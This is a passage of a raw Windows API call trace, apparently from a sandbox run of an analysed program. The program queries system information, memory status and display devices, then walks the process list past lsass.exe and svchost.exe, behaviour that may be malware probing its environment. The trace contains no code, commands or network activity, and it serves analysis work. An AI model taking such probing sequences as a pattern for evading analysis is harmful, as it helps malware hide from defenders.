returned 1 [0145.569] GetSystemInfo (in: lpSystemInfo=0x19f7a4 | out: lpSystemInfo=0x19f7a4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0145.570] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.570] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.570] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.570] GetLastError () returned 0x0 [0145.570] SetLastError (dwErrCode=0x0) [0145.570] GetLastError () returned 0x0 [0145.570] SetLastError (dwErrCode=0x0) [0145.570] GetLastError () returned 0x0 [0145.571] SetLastError (dwErrCode=0x0) [0145.571] GetLastError () returned 0x0 [0145.571] SetLastError (dwErrCode=0x0) [0145.571] GetLastError () returned 0x0 [0145.571] SetLastError (dwErrCode=0x0) [0145.571] GetLastError () returned 0x0 [0145.571] SetLastError (dwErrCode=0x0) [0145.571] GetLastError () returned 0x0 [0145.571] SetLastError (dwErrCode=0x0) [0145.571] GetLastError () returned 0x0 [0145.571] SetLastError (dwErrCode=0x0) [0145.571] GetLastError () returned 0x0 [0145.571] SetLastError (dwErrCode=0x0) [0145.571] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340498 [0145.571] GetLastError () returned 0x0 [0145.572] SetLastError (dwErrCode=0x0) [0145.572] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340498 | out: hHeap=0x2360000) returned 1 [0145.572] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.572] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.572] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.572] GetLastError () returned 0x0 [0145.572] SetLastError (dwErrCode=0x0) [0145.572] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74650000 [0145.573] GetProcAddress (hModule=0x74650000, lpProcName="GlobalMemoryStatusEx") returned 0x7466afe0 [0145.573] GlobalMemoryStatusEx (in: lpBuffer=0x19f740 | out: lpBuffer=0x19f740) returned 1 [0145.573] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.574] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.574] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.574] GetLastError () returned 0x0 [0145.574] SetLastError (dwErrCode=0x0) [0145.574] GetLastError () returned 0x0 [0145.574] SetLastError (dwErrCode=0x0) [0145.574] GetLastError () returned 0x0 [0145.575] SetLastError (dwErrCode=0x0) [0145.575] GetLastError () returned 0x0 [0145.575] SetLastError (dwErrCode=0x0) [0145.575] GetLastError () returned 0x0 [0145.575] SetLastError (dwErrCode=0x0) [0145.575] GetLastError () returned 0x0 [0145.575] SetLastError (dwErrCode=0x0) [0145.575] GetLastError () returned 0x0 [0145.575] SetLastError (dwErrCode=0x0) [0145.575] GetLastError () returned 0x0 [0145.575] SetLastError (dwErrCode=0x0) [0145.575] GetLastError () returned 0x0 [0145.575] SetLastError (dwErrCode=0x0) [0145.575] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340448 [0145.575] GetLastError () returned 0x0 [0145.576] SetLastError (dwErrCode=0x0) [0145.576] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340448 | out: hHeap=0x2360000) returned 1 [0145.576] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.576] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.576] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.576] GetLastError () returned 0x0 [0145.576] SetLastError (dwErrCode=0x0) [0145.576] EnumDisplayDevicesA (in: lpDevice=0x0, iDevNum=0x0, lpDisplayDevice=0x19f61c, dwFlags=0x1 | out: lpDisplayDevice=0x19f61c) returned 1 [0145.579] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340600 [0145.579] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340048 [0145.579] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340600 | out: hHeap=0x2360000) returned 1 [0145.579] GetLastError () returned 0x0 [0145.579] SetLastError (dwErrCode=0x0) [0145.579] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.579] GetLastError () returned 0x0 [0145.579] SetLastError (dwErrCode=0x0) [0145.589] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.589] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.589] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.589] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2fc [0145.675] Process32First (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.677] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x75, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0145.678] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340068 [0145.678] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340078 [0145.678] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340098 [0145.679] GetLastError () returned 0x0 [0145.679] SetLastError (dwErrCode=0x0) [0145.679] GetLastError () returned 0x0 [0145.679] SetLastError (dwErrCode=0x0) [0145.679] GetLastError () returned 0x0 [0145.679] SetLastError (dwErrCode=0x0) [0145.679] GetLastError () returned 0x0 [0145.679] SetLastError (dwErrCode=0x0) [0145.679] GetLastError () returned 0x0 [0145.679] SetLastError (dwErrCode=0x0) [0145.679] GetLastError () returned 0x0 [0145.679] SetLastError (dwErrCode=0x0) [0145.679] GetLastError () returned 0x0 [0145.679] SetLastError (dwErrCode=0x0) [0145.679] GetLastError () returned 0x0 [0145.680] SetLastError (dwErrCode=0x0) [0145.680] GetLastError () returned 0x0 [0145.680] SetLastError (dwErrCode=0x0) [0145.680] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404c0 [0145.680] GetLastError () returned 0x0 [0145.680] SetLastError (dwErrCode=0x0) [0145.680] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404c0 | out: hHeap=0x2360000) returned 1 [0145.680] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340098 | out: hHeap=0x2360000) returned 1 [0145.680] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340078 | out: hHeap=0x2360000) returned 1 [0145.680] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340068 | out: hHeap=0x2360000) returned 1 [0145.695] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340358 [0145.695] GetLastError () returned 0x0 [0145.695] SetLastError (dwErrCode=0x0) [0145.695] GetLastError () returned 0x0 [0145.695] SetLastError (dwErrCode=0x0) [0145.695] GetLastError () returned 0x0 [0145.695] SetLastError (dwErrCode=0x0) [0145.695] GetLastError () returned 0x0 [0145.695] SetLastError (dwErrCode=0x0) [0145.703] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0145.705] GetLastError () returned 0x0 [0145.705] SetLastError (dwErrCode=0x0) [0145.705] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x3340068 [0145.705] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340358 | out: hHeap=0x2360000) returned 1 [0145.705] GetLastError () returned 0x0 [0145.705] SetLastError (dwErrCode=0x0) [0145.705] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x33400b0 [0145.706] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340d40 [0145.706] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x33400c0 [0145.706] GetLastError () returned 0x0 [0145.706] SetLastError (dwErrCode=0x0) [0145.706] GetLastError () returned 0x0 [0145.706] SetLastError (dwErrCode=0x0) [0145.706] GetLastError () returned 0x0 [0145.706] SetLastError (dwErrCode=0x0) [0145.706] GetLastError () returned 0x0 [0145.706] SetLastError (dwErrCode=0x0) [0145.707] GetLastError () returned 0x0 [0145.707] SetLastError (dwErrCode=0x0) [0145.707] GetLastError () returned 0x0 [0145.707] SetLastError (dwErrCode=0x0) [0145.707] GetLastError () returned 0x0 [0145.707] SetLastError (dwErrCode=0x0) [0145.707] GetLastError () returned 0x0 [0145.707] SetLastError (dwErrCode=0x0) [0145.707] GetLastError () returned 0x0 [0145.707] SetLastError (dwErrCode=0x0) [0145.707] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406c8 [0145.707] GetLastError () returned 0x0 [0145.707] SetLastError (dwErrCode=0x0) [0145.707] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406c8 | out: hHeap=0x2360000) returned 1 [0145.708] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400c0 | out: hHeap=0x2360000) returned 1 [0145.708] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d40 | out: hHeap=0x2360000) returned 1 [0145.708] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400b0 | out: hHeap=0x2360000) returned 1 [0145.708] GetLastError () returned 0x0 [0145.708] SetLastError (dwErrCode=0x0) [0145.708] GetLastError () returned 0x0 [0145.708] SetLastError (dwErrCode=0x0) [0145.708] GetLastError () returned 0x0 [0145.708] SetLastError (dwErrCode=0x0) [0145.708] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x33400b0 [0145.708] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340068 | out: hHeap=0x2360000) returned 1 [0145.708] GetLastError () returned 0x0 [0145.709] SetLastError (dwErrCode=0x0) [0145.709] GetLastError () returned 0x0 [0145.709] SetLastError (dwErrCode=0x0) [0145.709] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.710] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340118 [0145.710] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340ba0 [0145.710] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340068 [0145.711] GetLastError () returned 0x0 [0145.711] SetLastError (dwErrCode=0x0) [0145.711] GetLastError () returned 0x0 [0145.711] SetLastError (dwErrCode=0x0) [0145.711] GetLastError () returned 0x0 [0145.711] SetLastError (dwErrCode=0x0) [0145.711] GetLastError () returned 0x0 [0145.711] SetLastError (dwErrCode=0x0) [0145.711] GetLastError () returned 0x0 [0145.711] SetLastError (dwErrCode=0x0) [0145.711] GetLastError () returned 0x0 [0145.711] SetLastError (dwErrCode=0x0) [0145.711] GetLastError () returned 0x0 [0145.711] SetLastError (dwErrCode=0x0) [0145.711] GetLastError () returned 0x0 [0145.712] SetLastError (dwErrCode=0x0) [0145.712] GetLastError () returned 0x0 [0145.712] SetLastError (dwErrCode=0x0) [0145.712] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405b0 [0145.712] GetLastError () returned 0x0 [0145.712] SetLastError (dwErrCode=0x0) [0145.713] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33405b0 | out: hHeap=0x2360000) returned 1 [0145.713] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340068 | out: hHeap=0x2360000) returned 1 [0145.713] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ba0 | out: hHeap=0x2360000) returned 1 [0145.713] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340118 | out: hHeap=0x2360000) returned 1 [0145.713] GetLastError () returned 0x0 [0145.713] SetLastError (dwErrCode=0x0) [0145.713] GetLastError () returned 0x0 [0145.713] SetLastError (dwErrCode=0x0) [0145.713] GetLastError () returned 0x0 [0145.713] SetLastError (dwErrCode=0x0) [0145.714] GetLastError () returned 0x0 [0145.714] SetLastError (dwErrCode=0x0) [0145.714] GetLastError () returned 0x0 [0145.714] SetLastError (dwErrCode=0x0) [0145.714] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0145.715] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340118 [0145.716] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340e80 [0145.716] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340068 [0145.716] GetLastError () returned 0x0 [0145.716] SetLastError (dwErrCode=0x0) [0145.716] GetLastError () returned 0x0 [0145.716] SetLastError (dwErrCode=0x0) [0145.716] GetLastError () returned 0x0 [0145.716] SetLastError (dwErrCode=0x0) [0145.716] GetLastError () returned 0x0 [0145.716] SetLastError (dwErrCode=0x0) [0145.716] GetLastError () returned 0x0 [0145.717] SetLastError (dwErrCode=0x0) [0145.717] GetLastError () returned 0x0 [0145.717] SetLastError (dwErrCode=0x0) [0145.717] GetLastError () returned 0x0 [0145.717] SetLastError (dwErrCode=0x0) [0145.717] GetLastError () returned 0x0 [0145.717] SetLastError (dwErrCode=0x0) [0145.717] GetLastError () returned 0x0 [0145.717] SetLastError (dwErrCode=0x0) [0145.717] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340560 [0145.717] GetLastError () returned 0x0 [0145.717] SetLastError (dwErrCode=0x0) [0145.717] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0145.717] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340068 | out: hHeap=0x2360000) returned 1 [0145.718] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e80 | out: hHeap=0x2360000) returned 1 [0145.718] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340118 | out: hHeap=0x2360000) returned 1 [0145.718] GetLastError () returned 0x0 [0145.718] SetLastError (dwErrCode=0x0) [0145.718] GetLastError () returned 0x0 [0145.718] SetLastError (dwErrCode=0x0) [0145.718] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340f40 [0145.718] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400b0 | out: hHeap=0x2360000) returned 1 [0145.718] GetLastError () returned 0x0 [0145.718] SetLastError (dwErrCode=0x0) [0145.718] GetLastError () returned 0x0 [0145.718] SetLastError (dwErrCode=0x0) [0145.719] GetLastError () returned 0x0 [0145.719] SetLastError (dwErrCode=0x0) [0145.719] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.720] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340fd8 [0145.720] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340ca0 [0145.720] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340068 [0145.721] GetLastError () returned 0x0 [0145.721] SetLastError (dwErrCode=0x0) [0145.721] GetLastError () returned 0x0 [0145.721] SetLastError (dwErrCode=0x0) [0145.721] GetLastError () returned 0x0 [0145.721] SetLastError (dwErrCode=0x0) [0145.721] GetLastError () returned 0x0 [0145.721] SetLastError (dwErrCode=0x0) [0145.721] GetLastError () returned 0x0 [0145.721] SetLastError (dwErrCode=0x0) [0145.721] GetLastError () returned 0x0 [0145.721] SetLastError (dwErrCode=0x0) [0145.721] GetLastError () returned 0x0 [0145.721] SetLastError (dwErrCode=0x0) [0145.721] GetLastError () returned 0x0 [0145.721] SetLastError (dwErrCode=0x0) [0145.721] GetLastError () returned 0x0 [0145.721] SetLastError (dwErrCode=0x0) [0145.722] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340650 [0145.722] GetLastError () returned 0x0 [0145.722] SetLastError (dwErrCode=0x0) [0145.722] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340650 | out: hHeap=0x2360000) returned 1 [0145.722] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340068 | out: hHeap=0x2360000) returned 1 [0145.722] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ca0 | out: hHeap=0x2360000) returned 1 [0145.722] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fd8 | out: hHeap=0x2360000) returned 1 [0145.722] GetLastError () returned 0x0 [0145.722] SetLastError (dwErrCode=0x0) [0145.722] GetLastError () returned 0x0 [0145.723] SetLastError (dwErrCode=0x0) [0145.723] GetLastError () returned 0x0 [0145.723] SetLastError (dwErrCode=0x0) [0145.723] GetLastError () returned 0x0 [0145.723] SetLastError (dwErrCode=0x0) [0145.723] GetLastError () returned 0x0 [0145.723] SetLastError (dwErrCode=0x0) [0145.723] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0145.725] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340fd8 [0145.725] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340de0 [0145.725] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340068 [0145.725] GetLastError () returned 0x0 [0145.725] SetLastError (dwErrCode=0x0) [0145.726] GetLastError () returned 0x0 [0145.726] SetLastError (dwErrCode=0x0) [0145.726] GetLastError () returned 0x0 [0145.726] SetLastError (dwErrCode=0x0) [0145.726] GetLastError () returned 0x0 [0145.726] SetLastError (dwErrCode=0x0) [0145.726] GetLastError () returned 0x0 [0145.726] SetLastError (dwErrCode=0x0) [0145.726] GetLastError () returned 0x0 [0145.726] SetLastError (dwErrCode=0x0) [0145.726] GetLastError () returned 0x0 [0145.726] SetLastError (dwErrCode=0x0) [0145.726] GetLastError () returned 0x0 [0145.726] SetLastError (dwErrCode=0x0) [0145.726] GetLastError () returned 0x0 [0145.726] SetLastError (dwErrCode=0x0) [0145.727] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340650 [0145.727] GetLastError () returned 0x0 [0145.727] SetLastError (dwErrCode=0x0) [0145.727] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340650 | out: hHeap=0x2360000) returned 1 [0145.727] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340068 | out: hHeap=0x2360000) returned 1 [0145.727] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340de0 | out: hHeap=0x2360000) returned 1 [0145.727] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fd8 | out: hHeap=0x2360000) returned 1 [0145.727] GetLastError () returned 0x0 [0145.727] SetLastError (dwErrCode=0x0) [0145.727] GetLastError () returned 0x0 [0145.727] SetLastError (dwErrCode=0x0) [0145.728] GetLastError () returned 0x0 [0145.728] SetLastError (dwErrCode=0x0) [0145.728] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xd8) returned 0x23604a0 [0145.728] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0145.728] GetLastError () returned 0x0 [0145.728] SetLastError (dwErrCode=0x0) [0145.728] GetLastError () returned 0x0 [0145.728] SetLastError (dwErrCode=0x0) [0145.728] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0145.729] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2360580 [0145.730] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340e20 [0145.730] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2360590 [0145.730] GetLastError () returned 0x0 [0145.730] SetLastError (dwErrCode=0x0) [0145.730] GetLastError () returned 0x0 [0145.730] SetLastError (dwErrCode=0x0) [0145.730] GetLastError () returned 0x0 [0145.730] SetLastError (dwErrCode=0x0) [0145.730] GetLastError () returned 0x0 [0145.730] SetLastError (dwErrCode=0x0) [0145.730] GetLastError () returned 0x0 [0145.730] SetLastError (dwErrCode=0x0) [0145.730] GetLastError () returned 0x0 [0145.730] SetLastError (dwErrCode=0x0) [0145.730] GetLastError () returned 0x0 [0145.791] SetLastError (dwErrCode=0x0) [0145.791] GetLastError () returned 0x0 [0145.791] SetLastError (dwErrCode=0x0) [0145.791] GetLastError () returned 0x0 [0145.791] SetLastError (dwErrCode=0x0) [0145.791] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405d8 [0145.791] GetLastError () returned 0x0 [0145.791] SetLastError (dwErrCode=0x0) [0145.791] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33405d8 | out: hHeap=0x2360000) returned 1 [0145.791] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360590 | out: hHeap=0x2360000) returned 1 [0145.791] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e20 | out: hHeap=0x2360000) returned 1 [0145.791] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360580 | out: hHeap=0x2360000) returned 1 [0145.791] GetLastError () returned 0x0 [0145.792] SetLastError (dwErrCode=0x0) [0145.792] GetLastError () returned 0x0 [0145.792] SetLastError (dwErrCode=0x0) [0145.792] GetLastError () returned 0x0 [0145.792] SetLastError (dwErrCode=0x0) [0145.792] GetLastError () returned 0x0 [0145.792] SetLastError (dwErrCode=0x0) [0145.792] GetLastError () returned 0x0 [0145.792] SetLastError (dwErrCode=0x0) [0145.792] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0145.794] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2360580 [0145.794] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c80 [0145.794] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2360590 [0145.794] GetLastError () returned 0x0 [0145.794] SetLastError (dwErrCode=0x0) [0145.794] GetLastError () returned 0x0 [0145.794] SetLastError (dwErrCode=0x0) [0145.794] GetLastError () returned 0x0 [0145.794] SetLastError (dwErrCode=0x0) [0145.794] GetLastError () returned 0x0 [0145.794] SetLastError (dwErrCode=0x0) [0145.794] GetLastError () returned 0x0 [0145.794] SetLastError (dwErrCode=0x0) [0145.794] GetLastError () returned 0x0 [0145.795] SetLastError (dwErrCode=0x0) [0145.795] GetLastError () returned 0x0 [0145.795] SetLastError (dwErrCode=0x0) [0145.795] GetLastError () returned 0x0 [0145.795] SetLastError (dwErrCode=0x0) [0145.795] GetLastError () returned 0x0 [0145.795] SetLastError (dwErrCode=0x0) [0145.795] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403f8 [0145.795] GetLastError () returned 0x0 [0145.796] SetLastError (dwErrCode=0x0) [0145.796] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403f8 | out: hHeap=0x2360000) returned 1 [0145.796] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360590 | out: hHeap=0x2360000) returned 1 [0145.796] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c80 | out: hHeap=0x2360000) returned 1 [0145.796] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360580 | out: hHeap=0x2360000) returned 1 [0145.796] GetLastError () returned 0x0 [0145.796] SetLastError (dwErrCode=0x0) [0145.796] GetLastError () returned 0x0 [0145.796] SetLastError (dwErrCode=0x0) [0145.796] GetLastError () returned 0x0 [0145.796] SetLastError (dwErrCode=0x0) [0145.796] GetLastError () returned 0x0 [0145.796] SetLastError (dwErrCode=0x0) [0145.796] GetLastError () returned 0x0 [0145.796] SetLastError (dwErrCode=0x0) [0145.796] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.798] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2360580 [0145.798] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340b60 [0145.798] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2360590 [0145.798] GetLastError () returned 0x0 [0145.798] SetLastError (dwErrCode=0x0) [0145.798] GetLastError () returned 0x0 [0145.798] SetLastError (dwErrCode=0x0) [0145.798] GetLastError () returned 0x0 [0145.798] SetLastError (dwErrCode=0x0) [0145.799] GetLastError () returned 0x0 [0145.799] SetLastError (dwErrCode=0x0) [0145.799] GetLastError () returned 0x0 [0145.799] SetLastError (dwErrCode=0x0) [0145.799] GetLastError () returned 0x0 [0145.799] SetLastError (dwErrCode=0x0) [0145.799] GetLastError () returned 0x0 [0145.799] SetLastError (dwErrCode=0x0) [0145.799] GetLastError () returned 0x0 [0145.799] SetLastError (dwErrCode=0x0) [0145.799] GetLastError () returned 0x0 [0145.799] SetLastError (dwErrCode=0x0) [0145.799] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340600 [0145.799] GetLastError () returned 0x0 [0145.799] SetLastError (dwErrCode=0x0) [0145.799] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340600 | out: hHeap=0x2360000) returned 1 [0145.799] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360590 | out: hHeap=0x2360000) returned 1 [0145.800] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340b60 | out: hHeap=0x2360000) returned 1 [0145.800] HeapFree (in: hHeap=0x2360000, 